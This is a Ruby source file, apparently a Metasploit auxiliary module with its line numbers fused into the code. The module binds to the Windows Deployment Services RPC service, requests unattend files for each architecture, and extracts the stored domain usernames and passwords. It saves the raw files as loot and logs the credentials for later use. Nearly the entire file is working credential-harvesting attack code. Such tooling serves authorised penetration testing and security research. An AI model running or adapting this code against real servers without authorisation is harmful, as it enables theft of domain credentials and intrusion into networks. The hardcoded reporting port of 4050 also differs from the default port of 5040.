Path: blob/master/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb
19500 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'English'6class MetasploitModule < Msf::Auxiliary7include Msf::Exploit::Remote::DCERPC8include Msf::Auxiliary::Report9include Msf::Auxiliary::Scanner1011DCERPCPacket = Rex::Proto::DCERPC::Packet12DCERPCClient = Rex::Proto::DCERPC::Client13DCERPCResponse = Rex::Proto::DCERPC::Response14DCERPCUUID = Rex::Proto::DCERPC::UUID15WDS_CONST = Rex::Proto::DCERPC::WDSCP::Constants1617def initialize(info = {})18super(19update_info(20info,21'Name' => 'Microsoft Windows Deployment Services Unattend Retrieval',22'Description' => %q{23This module retrieves the client unattend file from Windows24Deployment Services RPC service and parses out the stored credentials.25Tested against Windows 2008 R2 x64 and Windows 2003 x86.26},27'Author' => [ 'Ben Campbell' ],28'License' => MSF_LICENSE,29'References' => [30['URL', 'http://msdn.microsoft.com/en-us/library/dd891255(prot.20).aspx'],31['URL', 'http://rewtdance.blogspot.com/2012/11/windows-deployment-services-clear-text.html']32],33'Notes' => {34'Stability' => [CRASH_SAFE],35'SideEffects' => [],36'Reliability' => []37}38)39)4041register_options(42[43Opt::RPORT(5040),44]45)4647deregister_options('CHOST', 'CPORT', 'SSL', 'SSLVersion')4849register_advanced_options(50[51OptBool.new('ENUM_ARM', [true, 'Enumerate Unattend for ARM architectures (not currently supported by Windows and will cause an error in System Event Log)', false])52]53)54end5556def run_host(ip)57query_host(ip)58rescue ::Interrupt59raise $ERROR_INFO60rescue ::Rex::ConnectionError => e61print_error("#{ip}:#{rport} Connection Error: #{e}")62ensure63# Ensure socket is pulled down afterwards64begin65dcerpc.socket.close66rescue StandardError67nil68end69self.dcerpc = nil70self.handle = nil71end7273def query_host(rhost)74# Create a handler with our UUID and Transfer Syntax7576self.handle = Rex::Proto::DCERPC::Handle.new(77[78WDS_CONST::WDSCP_RPC_UUID,79'1.0',80],81'ncacn_ip_tcp',82rhost,83[datastore['RPORT']]84)8586print_status("Binding to #{handle} ...")8788self.dcerpc = Rex::Proto::DCERPC::Client.new(handle, sock)89vprint_good("Bound to #{handle}")9091report_service(92host: rhost,93port: datastore['RPORT'],94proto: 'tcp',95name: 'dcerpc',96info: "#{WDS_CONST::WDSCP_RPC_UUID} v1.0 Windows Deployment Services"97)9899table = Rex::Text::Table.new({100'Header' => 'Windows Deployment Services',101'Indent' => 1,102'Columns' => ['Architecture', 'Type', 'Domain', 'Username', 'Password']103})104105WDS_CONST::ARCHITECTURE.each do |architecture|106if architecture[0] == :ARM && !datastore['ENUM_ARM']107vprint_status("Skipping #{architecture[0]} architecture as ENUM_ARM option is disabled")108next109end110111begin112unattend_data = request_client_unattend(architecture)113rescue ::Rex::Proto::DCERPC::Exceptions::Fault => e114vprint_error(e.to_s)115print_error("#{rhost} DCERPC Fault - Windows Deployment Services is present but not configured. Perhaps an SCCM installation.")116next117end118119next if unattend_data.nil?120121loot_unattend(architecture[0], unattend_data)122results = parse_client_unattend(unattend_data)123124results.each do |creds|125next if creds.empty?126next unless creds['username']127next unless creds['password']128129print_good("Retrieved #{creds['type']} credentials for #{architecture[0]}")130report_creds(131creds['domain'] || '',132creds['username'],133creds['password']134)135table << [136architecture[0],137creds['type'],138creds['domain'] || '',139creds['username'],140creds['password']141]142end143end144145if table.rows.empty?146print_error('No Unattend files received, service is unlikely to be configured for completely unattended installation.')147return148end149150print_line151table.print152print_line153end154155def request_client_unattend(architecture)156# Construct WDS Control Protocol Message157packet = Rex::Proto::DCERPC::WDSCP::Packet.new(:REQUEST, :GET_CLIENT_UNATTEND)158159guid = Rex::Text.rand_text_hex(32)160packet.add_var(WDS_CONST::VAR_NAME_CLIENT_GUID, guid)161162# Not sure what this padding is for...163mac = [0x30].pack('C') * 20164mac << Rex::Text.rand_text_hex(12)165packet.add_var(WDS_CONST::VAR_NAME_CLIENT_MAC, mac)166167arch = [architecture[1]].pack('C')168packet.add_var(WDS_CONST::VAR_NAME_ARCHITECTURE, arch)169170version = [1].pack('V')171packet.add_var(WDS_CONST::VAR_NAME_VERSION, version)172173wdsc_packet = packet.create174175vprint_status("Sending #{architecture[0]} Client Unattend request ...")176dcerpc.call(0, wdsc_packet, false)177timeout = datastore['DCERPC::ReadTimeout']178response = Rex::Proto::DCERPC::Client.read_response(dcerpc.socket, timeout)179180return unless response181return unless response.stub_data182183vprint_status('Received response ...')184data = response.stub_data185186# Check WDSC_Operation_Header OpCode-ErrorCode is success 0x000000187op_error_code = data.unpack('v*')[19]188189if op_error_code != 0190vprint_error("Error code received for #{architecture[0]}: #{op_error_code}")191return192end193194if data.length < 277195vprint_error("No Unattend received for #{architecture[0]} architecture")196return197end198199vprint_status("Received #{architecture[0]} unattend file ...")200extract_unattend(data)201end202203def extract_unattend(data)204start = data.index('<?xml')205finish = data.index('</unattend>')206if start && finish207finish += 10208return data[start..finish]209else210print_error('Incomplete transmission or malformed unattend file.')211return nil212end213end214215def parse_client_unattend(data)216xml = REXML::Document.new(data)217return Rex::Parser::Unattend.parse(xml).flatten218rescue REXML::ParseException => e219print_error('Invalid XML format')220vprint_line(e.message)221return nil222end223224def loot_unattend(architecture, data)225return if data.empty?226227p = store_loot('windows.unattend.raw', 'text/plain', rhost, data, architecture, 'Windows Deployment Services')228print_good("Raw version of #{architecture} saved as: #{p}")229end230231def report_cred(opts)232service_data = {233address: opts[:ip],234port: opts[:port],235service_name: opts[:service_name],236protocol: 'tcp',237workspace_id: myworkspace_id238}239240credential_data = {241origin_type: :service,242module_fullname: fullname,243username: opts[:user],244private_data: opts[:password],245private_type: :password246}.merge(service_data)247248login_data = {249core: create_credential(credential_data),250status: Metasploit::Model::Login::Status::UNTRIED,251proof: opts[:proof]252}.merge(service_data)253254create_credential_login(login_data)255end256257def report_creds(domain, user, pass)258report_cred(259ip: rhost,260port: 4050,261service_name: 'dcerpc',262user: "#{domain}\\#{user}",263password: pass,264proof: domain265)266end267end268269270